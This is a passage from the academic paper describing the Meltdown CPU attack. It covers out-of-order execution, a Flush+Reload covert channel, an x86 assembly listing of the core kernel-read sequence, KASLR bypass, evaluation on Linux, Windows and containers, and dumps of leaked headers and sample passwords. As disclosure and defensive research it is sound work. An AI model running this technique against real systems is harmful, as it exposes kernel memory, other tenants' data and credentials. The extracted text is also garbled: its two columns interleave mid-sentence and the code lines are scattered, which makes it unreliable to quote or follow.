ac- page is cached, we know the value of data. The spread- cess, e.g., by accessing an invalid address, or due to any ing over different pages eliminates false positives due to other CPU exception, e.g., a division by zero, the control the prefetcher, as the prefetcher cannot access data across flow continues in the kernel and not with the next user page boundaries [14]. space instruction. Figure 4 shows the result of a Flush+Reload measure- Thus, our toy example cannot access the array in the- ment iterating over all pages, after executing the out-of- ory, as the exception immediately traps to the kernel and order snippet with data = 84. Although the array ac- terminates the application. However, due to the out-of- cess should not have happened due to the exception, we order execution, the CPU might have already executed can clearly see that the index which would have been ac- the following instructions as there is no dependency on cessed is cached. Iterating over all pages (e.g., in the the exception. This is illustrated in Figure 3. Due to the exception handler) shows only a cache hit for page 84 exception, the instructions executed out of order are not This shows that even instructions which are never actu- retired and, thus, never have architectural effects. ally executed, change the microarchitectural state of the Although the instructions executed out of order do not CPU. Section 4 modifies this toy example to not read a have any visible architectural effect on registers or mem- value, but to leak an inaccessible secret. ory, they have microarchitectural side effects. During the out-of-order execution, the referenced memory is fetched 4 Building Blocks of the Attack into a register and is also stored in the cache. If the out- of-order execution has to be discarded, the register and The toy example in Section 3 illustrated that side-effects memory contents are never committed. Nevertheless, the of out-of-order execution can modify the microarchitec- cached memory contents are kept in the cache. We can tural state to leak information. While the code snippet leverage a microarchitectural side-channel attack such reveals the data value passed to a cache-side channel, we as Flush+Reload [35], which detects whether a specific want to show how this technique can be leveraged to leak memory location is cached, to make this microarchitec- otherwise inaccessible secrets. In this section, we want tural state visible. There are other side channels as well to generalize and discuss the necessary building blocks which also detect whether a specific memory location to exploit out-of-order execution for an attack. is cached, including Prime+Probe [28, 24, 26], Evict+ The adversary targets a secret value that is kept some- Reload [23], or Flush+Flush [10]. However, as Flush+ where in physical memory. Note that register contents Reload is the most accurate known cache side channel are also stored in memory upon context switches, i.e., 5 EXECUTED EXECUTED OUT OF ORDER Access time [cycles] Furthermore, we call any sequence of instructions con- Exception Handling/ taining at least one transient instruction a transient in- Suppression struction sequence. Transient Accessed In order to leverage transient instructions for an attack, Secret Instructions the transient instruction sequence must utilize a secret value that an attacker wants to leak. Section 4.1 describes Microarchitectural State Change building blocks to run a transient instruction sequence with a dependency on a secret value. Section 4.1 The second building block of Meltdown is to transfer the microarchitectural side effect of the transient instruc- Transfer (Covert Channel) tion sequence to an architectural state to further process Architectural Recovery Recovered the leaked secret. Thus, the second building described State Secret in Section 4.2 describes building blocks to transfer a mi- croarchitectural side effect to an architectural state using Section 4.2 a covert channel. Figure 5: The Meltdown attack uses exception handling or suppression, e.g., TSX, to run a series of transient 4.1 Executing Transient Instructions instructions. These transient instructions obtain a (per- sistent) secret value and change the microarchitectural The first building block of Meltdown is the execution state of the processor based on this secret value. This of transient instructions. Transient instructions basically forms the sending part of a microarchitectural covert occur all the time, as the CPU continuously runs ahead channel. The receiving side reads the microarchitectural of the current instruction to minimize the experienced state, making it architectural and recovering the secret latency and thus maximize the performance (cf. Sec- value. tion 2.1). Transient instructions introduce an exploitable side channel if their operation depends on a secret value. We focus on addresses that are mapped within the at- they are also stored in physical memory. As described in tacker’s process, i.e., the user-accessible user space ad- Section 2.2, the address space of every process typically dresses as well as the user-inaccessible kernel space ad- includes the entire user space, as well as the entire kernel dresses. Note that attacks targeting code that is executed space, which typically also has all physical memory (in- within the context (i.e., address space) of another process use) mapped. However, these memory regions are only are possible [19], but out of scope in this work, since all accessible in privileged mode (cf. Section 2.2). physical memory (including the memory of other pro- In this work, we demonstrate leaking secrets by by- cesses) can be read through the kernel address space any- passing the privileged-mode isolation, giving an attacker way. full read access to the entire kernel space including any Accessing user-inaccessible pages, such as kernel physical memory mapped, including the physical mem- pages, triggers an exception which generally terminates ory of any other process and the kernel. Note that the application. If the attacker targets a secret at a user- Kocher et al. [19] pursue an orthogonal approach, called inaccessible address, the attacker has to cope with this Spectre Attacks, which trick speculative executed in- exception. We propose two approaches: With excep- structions into leaking information that the victim pro- tion handling, we catch the exception effectively occur- cess is authorized to access. As a result, Spectre Attacks ring after executing the transient instruction sequence, lack the privilege escalation aspect of Meltdown and re- and with exception suppression, we prevent the excep- quire tailoring to the victim process’s software environ- tion from occurring at all and instead redirect the control ment, but apply more broadly to CPUs that support spec- flow after executing the transient instruction sequence. ulative execution and are not stopped by KAISER. We discuss these approaches in detail in the following. The full Meltdown attack consists of two building blocks, as illustrated in Figure 5. The first building block Exception handling. A trivial approach is to fork the of Meltdown is to make the CPU execute one or more attacking application before accessing the invalid mem- instructions that would never occur in the executed path. ory location that terminates the process, and only access In the toy example (cf. Section 3), this is an access to the invalid memory location in the child process. The an array, which would normally never be executed, as CPU executes the transient instruction sequence in the the previous instruction always raises an exception. We child process before crashing. The parent process can call such an instruction, which is executed out of order, then recover the secret by observing the microarchitec- leaving measurable side effects, a transient instruction. tural state, e.g., through a side-channel. 6 Leaked It is also possible to install a signal handler that will channel; the address is cached for subsequent accesses. be executed if a certain exception occurs, in this specific The receiver can then monitor whether the address has case a segmentation fault. This allows the attacker to been loaded into the cache by measuring the access time issue the instruction sequence and prevent the application to the address. Thus, the sender can transmit a ‘1’-bit by from crashing, reducing the overhead as no new process accessing an address which is loaded into the monitored has to be created. cache, and a ‘0’-bit by not accessing such an address. Using multiple different cache lines, as in our toy ex- Exception suppression. A different approach to deal ample in Section 3, allows to transmit multiple bits at with exceptions is to prevent them from being raised in once. For every of the 256 different byte values, the the first place. Transactional memory allows to group sender accesses a different cache line. By performing memory accesses into one seemingly atomic operation, a Flush+Reload attack on all of the 256 possible cache giving the option to roll-back to a previous state if an er- lines, the receiver can recover a full byte instead of just ror occurs. If an exception occurs within the transaction, one bit. However, since the Flush+Reload attack takes the architectural state is reset, and the program execution much longer (typically several hundred cycles) than the continues without disruption. transient instruction sequence, transmitting only a single Furthermore, speculative execution issues instructions bit at once is more efficient. The attacker can simply do that might not occur on the executed code path due to that by shifting and masking the secret value accordingly. a branch misprediction. Such instructions depending on Note that the covert channel is not limited to microar- a preceding conditional branch can be speculatively ex- chitectural states which rely on the cache. Any microar- ecuted. Thus, the invalid memory access is put within chitectural state which can be influenced by an instruc- a speculative instruction sequence that is only executed tion (sequence) and is observable through a side channel if a prior branch condition evaluates to true. By making can be used to build the sending end of a covert channel. sure that the condition never evaluates to true in the ex- The sender could, for example, issue an instruction (se- ecuted code path, we can suppress the occurring excep- quence) which occupies a certain execution port such as tion as the memory access is only executed speculatively. the ALU to send a ‘1’-bit. The receiver measures the la- This technique may require a sophisticated training of the tency when executing an instruction (sequence) on the branch predictor. Kocher et al. [19] pursue this approach same execution port. A high latency implies that the in orthogonal work, since this construct can frequently sender sends a ‘1’-bit, whereas a low latency implies be found in code of other processes. that sender sends a ‘0’-bit. The advantage of the Flush+ Reload cache covert channel is the noise resistance and the high transmission rate [10]. Furthermore, the leakage 4.2 Building a Covert Channel can be observed from any CPU core [35], i.e., reschedul- The second building block of Meltdown is the transfer ing events do not significantly affect the covert channel. of the microarchitectural state, which was changed by the transient instruction sequence, into an architectural 5 Meltdown state (cf. Figure 5). The transient instruction sequence can be seen as the sending end of a microarchitectural In this section, present Meltdown, a powerful attack covert channel. The receiving end of the covert channel allowing to read arbitrary physical memory from an receives the microarchitectural state change and deduces unprivileged user program, comprised of the building the secret from the state. Note that the receiver is not blocks presented in Section 4. First, we discuss the attack part of the transient instruction sequence and can be a setting to emphasize the wide applicability of this attack. different thread or even a different process e.g., the parent Second, we present an attack overview, showing how process in the fork-and-crash approach. Meltdown can be mounted on both Windows and Linux We leverage techniques from cache attacks, as the on personal computers as well as in the cloud. Finally, cache state is a microarchitectural state which can be re- we discuss a concrete implementation of Meltdown al- liably transferred into an architectural state using vari- lowing to dump kernel memory with up to 503 KB/s. ous techniques [28, 35, 10]. Specifically, we use Flush+ Reload [35], as it allows to build a fast and low-noise covert channel. Thus, depending on the secret value, the Attack setting. In our attack, we consider personal transient instruction sequence (cf. Section 4.1) performs computers and virtual machines in the cloud. In the a regular memory access, e.g., as it does in the toy exam- attack scenario, the attacker has arbitrary unprivileged ple (cf. Section 3). code execution on the attacked system, i.e., the attacker After the transient instruction sequence accessed an can run any code with the privileges of a normal user. accessible address, i.e., this is the sender of the covert However, the attacker has no physical access to the ma- 7 1 ; rcx = kernel address Step 1: Reading the secret. To load data from the 2 ; rbx = probe array main memory into a register, the data in the main mem- 3 retry: ory is referenced using a virtual address. In parallel to 4 mov al, byte [rcx] shl rax, 0xc translating a virtual address into a physical address, the5 6 jz retry CPU also checks the permission bits of the virtual ad- 7 mov rbx, qword [rbx + rax] dress, i.e., whether this virtual address is user accessible Listing 2: The core instruction sequence of Meltdown. or only accessible by the kernel. As already discussed in An inaccessible kernel address is moved to a register, Section 2.2, this hardware-based isolation through a per- raising an exception. The subsequent instructions are mission bit is considered secure and recommended by the already executed out of order before the exception is hardware vendors. Hence, modern operating systems al- raised, leaking the content of the kernel address through ways map the entire kernel into the virtual address space the indirect memory access. of every user process. As a consequence, all kernel addresses lead to a valid physical address when translating them, and the CPU can access the content of such addresses. The only differ- ence to accessing a user space address is that the CPU chine. Further, we assume that the system is fully pro- raises an exception as the current permission level does tected with state-of-the-art software-based defenses such not allow to access such an address. Hence, the user as ASLR and KASLR as well as CPU features like space cannot simply read the contents of such an address. SMAP, SMEP, NX, and PXN. Most importantly, we as- However, Meltdown exploits the out-of-order execution sume a completely bug-free operating system, thus, no of modern CPUs, which still executes instructions in the software vulnerability exists that can be exploited to gain small time window between the illegal memory access kernel privileges or leak information. The attacker tar- and the raising of the exception. gets secret user data, e.g., passwords and private keys, or In line 4 of Listing 2, we load the byte value located any other valuable information. at the target kernel address, stored in the RCX register, into the least significant byte of the RAX register repre- 5.1 Attack Description sented by AL. As explained in more detail in Section 2.1, the MOV instruction is fetched by the core, decoded into Meltdown combines the two building blocks discussed µOPs, allocated, and sent to the reorder buffer. There, ar- in Section 4. First, an attacker makes the CPU execute chitectural registers (e.g., RAX and RCX in Listing 2) are a transient instruction sequence which uses an inacces- mapped to underlying physical registers enabling out-of- sible secret value stored somewhere in physical memory order execution. Trying to utilize the pipeline as much as (cf. Section 4.1). The transient instruction sequence acts possible, subsequent instructions (lines 5-7) are already as the transmitter of a covert channel (cf. Section 4.2), decoded and allocated as µOPs as well. The µOPs are ultimately leaking the secret value to the attacker. further sent to the reservation station holding the µOPs Meltdown consists of 3 steps: while they wait to be executed by the corresponding ex- Step 1 The content of an attacker-chosen memory loca- ecution unit. The execution of a µOP can be delayed if tion, which is inaccessible to the attacker, is loaded execution units are already used to their corresponding into a register. capacity or operand values have not been calculated yet. Step 2 A transient instruction accesses a cache line When the kernel address is loaded in line 4, it is likely based on the secret content of the register. that the CPU already issued the subsequent instructions Step 3 The attacker uses Flush+Reload to determine the as part of the out-or-order execution, and that their cor- accessed cache line and hence the secret stored at the responding µOPs wait in the reservation station for the chosen memory location. content of the kernel address to arrive. As soon as the By repeating these steps for different memory locations, fetched data is observed on the common data bus, the the attacker can dump the kernel memory, including the µOPs can begin their execution. entire physical memory. When the µOPs finish their execution, they retire in- Listing 2 shows the basic implementation of the tran- order, and, thus, their results are committed to the archi- sient instruction sequence and the sending part of the tectural state. During the retirement, any interrupts and covert channel, using x86 assembly instructions. Note exception that occurred during the execution of the in- that this part of the attack could also be implemented en- struction are handled. Thus, if the MOV instruction that tirely in higher level languages like C. In the following, loads the kernel address is retired, the exception is reg- we will discuss each step of Meltdown and the corre- istered and the pipeline is flushed to eliminate all results sponding code line in Listing 2. of subsequent instructions which were executed out of 8 order. However, there is a race condition between raising end of a microarchitectural covert channel) that transfers this exception and our attack step 2 which we describe the cache state (step 2) back into an architectural state. below. As discussed in Section 4.2, Meltdown relies on Flush+ As reported by Gruss et al. [9], prefetching kernel ad- Reload to transfer the cache state into an architectural dresses sometimes succeeds. We found that prefetching state. the kernel address can slightly improve the performance When the transient instruction sequence of step 2 is of the attack on some systems. executed, exactly one cache line of the probe array is cached. The position of the cached cache line within the Step 2: Transmitting the secret. The instruction se- probe array depends only on the secret which is read in quence from step 1 which is executed out of order has to step 1. Thus, the attacker iterates over all 256 pages of be chosen in a way that it becomes a transient instruction the probe array and measures the access time for every sequence. If this transient instruction sequence is exe- first cache line (i.e., offset) on the page. The number of cuted before the MOV instruction is retired (i.e., raises the the page containing the cached cache line corresponds exception), and the transient instruction sequence per- directly to the secret value. formed computations based on the secret, it can be uti- lized to transmit the secret to the attacker. Dumping the entire physical memory. By repeating As already discussed, we utilize cache attacks that al- all 3 steps of Meltdown, the attacker can dump the entire low to build fast and low-noise covert channel using the memory by iterating over all different addresses. How- CPU’s cache. Thus, the transient instruction sequence ever, as the memory access to the kernel address raises an has to encode the secret into the microarchitectural cache exception that terminates the program, we use one of the state, similarly to the toy example in Section 3. methods described in Section 4.1 to handle or suppress We allocate a probe array in memory and ensure that the exception. no part of this array is cached. To transmit the secret, the transient instruction sequence contains an indirect mem- As all major operating systems also typically map the ory access to an address which is calculated based on the entire physical memory into the kernel address space secret (inaccessible) value. In line 5 of Listing 2 the se- (cf. Section 2.2) in every user process, Meltdown is not cret value from step 1 is multiplied by the page size, , only limited to reading kernel memory but it is capablei.e. 4 KB. The multiplication of the secret ensures that ac- of reading the entire physical memory of the target ma- cesses to the array have a large spatial distance to each chine. other. This prevents the hardware prefetcher from load- ing adjacent memory locations into the cache as well. 5.2 Optimizations and Limitations Here, we read a single byte at once, hence our probe ar- ray is 256×4096 bytes, assuming 4 KB pages. The case of 0. If the exception is triggered while trying Note that in the out-of-order execution we have a to read from an inaccessible kernel address, the register noise-bias towards register value ‘0’. We discuss the rea- where the data should be stored, appears to be zeroed out. sons for this in Section 5.2. However, for this reason, we This is reasonable because if the exception is unhandled, introduce a retry-logic into the transient instruction se- the user space application is terminated, and the value quence. In case we read a ‘0’, we try to read the secret from the inaccessible kernel address could be observed again (step 1). In line 7, the multiplied secret is added to in the register contents stored in the core dump of the the base address of the probe array, forming the target ad- crashed process. The direct solution to fix this problem dress of the covert channel. This address is read to cache is to zero out the corresponding registers. If the zeroing the corresponding cache line. Consequently, our tran- out of the register is faster than the execution of the sub- sient instruction sequence affects the cache state based sequent instruction (line 5 in Listing 2), the attacker may on the secret value that was read in step 1. read a false value in the third step. To prevent the tran- Since the transient instruction sequence in step 2 races sient instruction sequence from continuing with a wrong against raising the exception, reducing the runtime of value, i.e., ‘0’, Meltdown retries reading the address until step 2 can significantly improve the performance of the it encounters a value different from ‘0’ (line 6). As the attack. For instance, taking care that the address trans- transient instruction sequence terminates after the excep- lation for the probe array is cached in the TLB increases tion is raised, there is no cache access if the secret value the attack performance on some systems. is 0. Thus, Meltdown assumes that the secret value is indeed ‘0’ if there is no cache hit at all. Step 3: Receiving the secret. In step 3, the attacker The loop is terminated by either the read value not be- recovers the secret value (step 1) by leveraging a mi- ing ‘0’ or by the raised exception of the invalid mem- croarchitectural side-channel attack (i.e., the receiving ory access. Note that this loop does not slow down 9 the attack measurably, since, in either case, the proces- tion, i.e., either all or no instruction is executed. If one sor runs ahead of the illegal memory access, regardless instruction within the transaction fails, already executed of whether ahead is a loop or ahead is a linear control instructions are reverted, but no exception is raised. flow. In either case, the time until the control flow re- If we wrap the code from Listing 2 with such a TSX turned from exception handling or exception suppression instruction, any exception is suppressed. However, the remains the same with and without this loop. Thus, cap- microarchitectural effects are still visible, i.e., the cache turing read ‘0’s beforehand and recovering early from a state is persistently manipulated from within the hard- lost race condition vastly increases the reading speed. ware transaction [7]. This results in a higher channel ca- pacity, as suppressing the exception is significantly faster Single-bit transmission In the attack description in than trapping into the kernel for handling the exception, Section 5.1, the attacker transmitted 8 bits through the and continuing afterwards. covert channel at once and performed 28 = 256 Flush+ Reload measurements to recover the secret. However, there is a clear trade-off between running more tran- Dealing with KASLR. In 2013, kernel address space sient instruction sequences and performing more Flush+ layout randomization (KASLR) had been introduced to Reload measurements. The attacker could transmit an the Linux kernel (starting from version 3.14 [4]) allow- arbitrary number of bits in a single transmission through ing to randomize the location of the kernel code at boot the covert channel, by either reading more bits using a time. However, only as recently as May 2017, KASLR MOV instruction for a larger data value. Furthermore, the had been enabled by default in version 4.12 [27]. With attacker could mask bits using additional instructions in KASLR also the direct-physical map is randomized and, the transient instruction sequence. We found the number thus, not fixed at a certain address such that the attacker of additional instructions in the transient instruction se- is required to obtain the randomized offset before mount- quence to have a negligible influence on the performance ing the Meltdown attack. However, the randomization is of the attack. limited to 40 bit. The performance bottleneck in the generic attack de- Thus, if we assume a setup of the target machine with scription above is indeed, the time spent on Flush+ 8 GB of RAM, it is sufficient to test the address space Reload measurements. In fact, with this implementation, for addresses in 8 GB steps. This allows to cover the almost the entire time will be spent on Flush+Reload search space of 40 bit with only 128 tests in the worst measurements. By transmitting only a single bit, we case. If the attacker can successfully obtain a value can omit all but one Flush+Reload measurement, i.e., the from a tested address, the attacker can proceed dump- measurement on cache line 1. If the transmitted bit was ing the entire memory from that location. This allows to a ‘1’, then we observe a cache hit on cache line 1. Oth- mount Meltdown on a system despite being protected by erwise, we observe no cache hit on cache line 1. KASLR within seconds. Transmitting only a single bit at once also has draw- backs. As described above, our side channel has a bias towards a secret value of ‘0’. If we read and transmit 6 Evaluation multiple bits at once, the likelihood that all bits are ‘0’ may quite small for actual user data. The likelihood that In this section, we evaluate Meltdown and the perfor- a single bit is ‘0’ is typically close to 50 %. Hence, the mance of our proof-of-concept implementation 2. Sec- number of bits read and transmitted at once is a trade- tion 6.1 discusses the information which Meltdown can off between some implicit error-reduction and the overall leak, and Section 6.2 evaluates the performance of Melt- transmission rate of the covert channel. down, including countermeasures. Finally, we discuss However, since the error rates are quite small in either limitations for AMD and ARM in Section 6.4. case, our evaluation (cf. Section 6) is based on the single- Table 1 shows a list of configurations on which we bit transmission mechanics. successfully reproduced Meltdown. For the evaluation of Meltdown, we used both laptops as well as desktop PCs Exception Suppression using Intel TSX. In Sec- with Intel Core CPUs. For the cloud setup, we tested tion 4.1, we discussed the option to prevent that an ex- Meltdown in virtual machines running on Intel Xeon ception is raised due an invalid memory access in the first CPUs hosted in the Amazon Elastic Compute Cloud as place. Using Intel TSX, a hardware transactional mem- well as on DigitalOcean. Note that for ethical reasons we ory implementation, we can completely suppress the ex- did not use Meltdown on addresses referring to physical ception [17]. memory of other tenants. With Intel TSX, multiple instructions can be grouped to a transaction, which appears to be an atomic opera- 2https://github.com/IAIK/meltdown 10 Table 1: Experimental setups. On newer systems, where KASLR is active by default, the randomization of the direct-physical map is limited Environment CPU model Cores to 40 bit. It is even further limited due to the linearity of the mapping. Assuming that the target system has at least Lab Celeron G540 2 8 GB of physical memory, the attacker can test addresses Lab Core i5-3230M 2 in steps of 8 GB, resulting in a maximum of 128 memory Lab Core i5-3320M 2 locations to test. Starting from one discovered location, Lab Core i7-4790 4 the attacker can again dump the entire physical memory. Lab Core i5-6200U 2 Lab Core i7-6600U 2 Hence, for the evaluation, we can assume that the ran- Lab Core i7-6700K 4 domization is either disabled, or the offset was already Cloud Xeon E5-2676 v3 12 retrieved in a pre-computation step. Cloud Xeon E5-2650 v4 12 6.1.2 Linux with KAISER Patch 6.1 Information Leakage and Environ- The KAISER patch by Gruss et al. [8] implements ments a stronger isolation between kernel and user space. KAISER does not map any kernel memory in the user We evaluated Meltdown on both Linux (cf. Section 6.1.1) space, except for some parts required by the x86 archi- and Windows 10 (cf. Section 6.1.3). On both operating tecture (e.g., interrupt handlers). Thus, there is no valid systems, Meltdown can successfully leak kernel mem- mapping to either kernel memory or physical memory ory. Furthermore, we also evaluated the effect of the (via the direct-physical map) in the user space, and such KAISER patches on Meltdown on Linux, to show that addresses can therefore not be resolved. Consequently, KAISER prevents the leakage of kernel memory (cf. Sec- Meltdown cannot leak any kernel or physical memory tion 6.1.2). Finally, we discuss the information leakage except for the few memory locations which have to be when running inside containers such as Docker (cf. Sec- mapped in user space. tion 6.1.4). We verified that KAISER indeed prevents Meltdown, and there is no leakage of any kernel or physical memory. 6.1.1 Linux Furthermore, if KASLR is active, and the few re- maining memory locations are randomized, finding these We successfully evaluated Meltdown on multiple ver- memory locations is not trivial due to their small size of sions of the Linux kernel, from 2.6.32 to 4.13.0. On several kilobytes. Section 7.2 discusses the implications all these versions of the Linux kernel, the kernel address of these mapped memory locations from a security per- space is also mapped into the user address space. Thus, spective. all kernel addresses are also mapped into the address space of user space applications, but any access is pre- vented due to the permission settings for these addresses. 6.1.3 Microsoft Windows As Meltdown bypasses these permission settings, an at- tacker can leak the complete kernel memory if the vir- We successfully evaluated Meltdown on an up-to-date tual address of the kernel base is known. Since all major Microsoft Windows 10 operating system. In line with operating systems also map the entire physical memory the results on Linux (cf. Section 6.1.1), Meltdown also into the kernel address space (cf. Section 2.2), all physi- can leak arbitrary kernel memory on Windows. This is cal memory can also be read. not surprising, since Meltdown does not exploit any soft- Before kernel 4.12, kernel address space layout ran- ware issues, but is caused by a hardware issue. domization (KASLR) was not active by default [30]. If In contrast to Linux, Windows does not have the con- KASLR is active, Meltdown can still be used to find the cept of an identity mapping, which linearly maps the kernel by searching through the address space (cf. Sec- physical memory into the virtual address space. Instead, tion 5.2). An attacker can also simply de-randomize the a large fraction of the physical memory is mapped in direct-physical map by iterating through the virtual ad- the paged pools, non-paged pools, and the system cache. dress space. Without KASLR, the direct-physical map Furthermore, Windows maps the kernel into the address starts at address 0xffff 8800 0000 0000 and linearly space of every application too. Thus, Meltdown can read maps the entire physical memory. On such systems, an kernel memory which is mapped in the kernel address attacker can use Meltdown to dump the entire physical space, i.e., any part of the kernel which is not swapped memory, simply by reading from virtual addresses start- out, and any page mapped in the paged and non-paged ing at 0xffff 8800 0000 0000. pool, and the system cache. 11 Note that there likely are physical pages which are For all tests, we use Flush+Reload as a covert channel mapped in one process but not in the (kernel) address to leak the memory as described in Section 5. We evalu- space of another process, i.e., physical pages which can- ated the performance of both exception handling and ex- not be attacked using Meltdown. However, most of the ception suppression (cf. Section 4.1). For exception han- physical memory will still be accessible through Melt- dling, we used signal handlers, and if the CPU supported down. it, we also used exception suppression using Intel TSX. We were successfully able to read the binary of the An extensive evaluation of exception suppression using Windows kernel using Meltdown. To verify that the conditional branches was done by Kocher et al. [19] and leaked data is actual kernel memory, we first used the is thus omitted in this paper for the sake of brevity. Windows kernel debugger to obtain kernel addresses containing actual data. After leaking the data, we again 6.2.1 Exception Handling used the Windows kernel debugger to compare the leaked data with the actual memory content, confirming that Exception handling is the more universal implementa- Meltdown can successfully leak kernel memory. tion, as it does not depend on any CPU extension and can thus be used without any restrictions. The only require- ment for exception handling is operating system support 6.1.4 Containers to catch segmentation faults and continue operation af- terwards. This is the case for all modern operating sys- We evaluated Meltdown running in containers sharing a tems, even though the specific implementation differs be- kernel, including Docker, LXC, and OpenVZ, and found tween the operating systems. On Linux, we used signals, that the attack can be mounted without any restrictions. whereas, on Windows, we relied on the Structured Ex- Running Meltdown inside a container allows to leak in- ception Handler. formation not only from the underlying kernel, but also With exception handling, we achieved average reading from all other containers running on the same physical speeds of 123 KB/s when leaking 12 MB of kernel mem- host. ory. Out of the 12 MB kernel data, only 0.03 % were read The commonality of most container solutions is that incorrectly. Thus, with an error rate of 0.03 %, the chan- every container uses the same kernel, i.e., the kernel is nel capacity is 122 KB/s. shared among all containers. Thus, every container has a valid mapping of the entire physical memory through the direct-physical map of the shared kernel. Further- 6.2.2 Exception Suppression more, Meltdown cannot be blocked in containers, as it Exception suppression can either be achieved using uses only memory accesses. Especially with Intel TSX, conditional branches or using Intel TSX. Conditional only unprivileged instructions are executed without even branches are covered in detail in Kocher et al. [19], hence trapping into the kernel. we only evaluate Intel TSX for exception suppression. Thus, the isolation of containers sharing a kernel can In contrast to exception handling, Intel TSX does not re- be fully broken using Meltdown. This is especially crit- quire operating system support, as it is an instruction-set ical for cheaper hosting providers where users are not extension. However, Intel TSX is a rather new extension separated through fully virtualized machines, but only and is thus only available on recent Intel CPUs, i.e., since through containers. We verified that our attack works in the Broadwell microarchitecture. such a setup, by successfully leaking memory contents Again, we leaked 12 MB of kernel memory to mea- from a container of a different user under our control. sure the performance. With exception suppression, we achieved average reading speeds of 503 KB/s. More- 6.2 Meltdown Performance over, the error rate of 0.02 % with exception suppression is even lower than with exception handling. Thus, the To evaluate the performance of Meltdown, we leaked channel capacity we achieve with exception suppression known values from kernel memory. This allows us to is 502 KB/s. not only determine how fast an attacker can leak mem- ory, but also the error rate, i.e., how many byte errors 6.3 Meltdown in Practice to expect. We achieved average reading rates of up to 503 KB/s with an error rate as low as 0.02 % when using Listing 3 shows a memory dump using Meltdown on exception suppression. For the performance evaluation, an Intel Core i7-6700K running Ubuntu 16.10 with the we focused on the Intel Core i7-6700K as it supports In- Linux kernel 4.8.0. In this example, we can identify tel TSX, to get a fair performance comparison between HTTP headers of a request to a web server running on the exception handling and exception suppression. machine. The XX cases represent bytes where the side 12 79cbb30: 616f 61 4e 6b 32 38 46 31 34 67 65 68 61 7a 34 |aoaNk28F14gehaz4| 79cbb40: 5a74 4d 79 78 68 76 41 57 69 69 63 77 59 62 61 |ZtMyxhvAWiicwYba| 79cbb50: 356a 4c 76 4d 70 4b 56 56 32 4b 6a 37 4b 5a 4e |5jLvMpKVV2Kj7KZN| 79cbb60: 6655 6c 6e 72 38 64 74 35 54 62 43 63 7a 6f 44 |fUlnr8dt5TbCczoD| 79cbb70: 494e 46 71 58 6d 4a 69 34 58 50 39 62 43 53 47 |INFqXmJi4XP9bCSG| 79cbb80: 6c4c 48 32 5a 78 66 56 44 73 4b 57 39 34 68 6d |lLH2ZxfVDsKW94hm| 79cbb90: 3364 2f 41 4d 41 45 44 41 41 41 41 41 51 45 42 |3d/AMAEDAAAAAQEB| 79cbba0: 4141 41 41 41 41 3d 3d XX XX XX XX XX XX XX XX |AAAAAA==........| 79cbbb0: XXXX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................| 79cbbc0: XXXX XX 65 2d 68 65 61 64 XX XX XX XX XX XX XX |...e-head.......| 79cbbd0: XXXX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................| 79cbbe0: XXXX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................| 79cbbf0: XXXX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................| 79cbc00: XXXX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................| 79cbc10: XXXX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................| 79cbc20: XXXX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................| 79cbc30: XXXX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................| 79cbc40: XXXX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................| 79cbc50: XXXX XX XX 0d 0a XX 6f 72 69 67 69 6e 61 6c 2d |.......original-| Figure 6: Firefox 56 password manager showing the 79cbc60: 7265 73 70 6f 6e 73 65 2d 68 65 61 64 65 72 73 |response-headers| 79cbc70: XX44 61 74 65 3a 20 53 61 74 2c 20 30 39 20 44 |.Date: Sat, 09 D| stored passwords that are leaked using Meltdown in List- 79cbc80: 6563 20 32 30 31 37 20 32 32 3a 32 39 3a 32 35 |ec 2017 22:29:25| 79cbc90: 2047 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 | GMT..Content-Le| ing 4. 79cbca0: 6e67 74 68 3a 20 31 0d 0a 43 6f 6e 74 65 6e 74 |ngth: 1..Content| 79cbcb0: 2d54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c |-Type: text/html| 79cbcc0: 3b20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d |; charset=utf-8.| 79cbcd0: 0a53 65 72 76 65 72 3a 20 54 77 69 73 74 65 64 |.Server: Twisted| 79cbce0: 5765 62 2f 31 36 2e 33 2e 30 0d 0a XX 75 6e 63 |Web/16.3.0...unc| 79cbcf0: 6f6d 70 72 65 73 73 65 64 2d 6c 65 6e XX XX XX |ompressed-len...| channel did not yield any results, i.e., no Flush+Reload hit. Additional repetitions of the attack may still be able Listing 3: Memory dump showing HTTP Headers on to read these bytes. Ubuntu 16.10 on a Intel Core i7-6700K Listing 4 shows a memory dump of Firefox 56 using Meltdown on the same machine. We can clearly iden- tify some of the passwords that are stored in the internal password manager shown in Figure 6, i.e., Dolphin18, insta 0203, and secretpwd0. The attack also recov- ered a URL which appears to be related to a Firefox ad- don. 6.4 Limitations on ARM and AMD f94b7690: e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 |................| We also tried to reproduce the Meltdown bug on several f94b76a0: e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 |................| f94b76b0: 70 52 b8 6b 96 7f XX XX XX XX XX XX XX XX XX XX |pR.k............| ARM and AMD CPUs. However, we did not manage f94b76c0: 09 XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................| f94b76d0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................| to successfully leak kernel memory with the attack de- f94b76e0: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX 81 |................| f94b76f0: 12 XX e0 81 19 XX e0 81 44 6f 6c 70 68 69 6e 31 |........Dolphin1| scribed in Section 5, neither on ARM nor on AMD. The f94b7700: 38 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 e5 |8...............| f94b7710: 70 52 b8 6b 96 7f XX XX XX XX XX XX XX XX XX XX |pR.k............| reasons for this can be manifold. First of all, our im- f94b7720: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................| f94b7730: XX XX XX XX 4a XX XX XX XX XX XX XX XX XX XX XX |....J...........| plementation might simply be too slow and a more opti- f94b7740: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |................| f94b7750: XX XX XX XX XX XX XX XX XX XX e0 81 69 6e 73 74 |............inst| mized version might succeed. For instance, a more 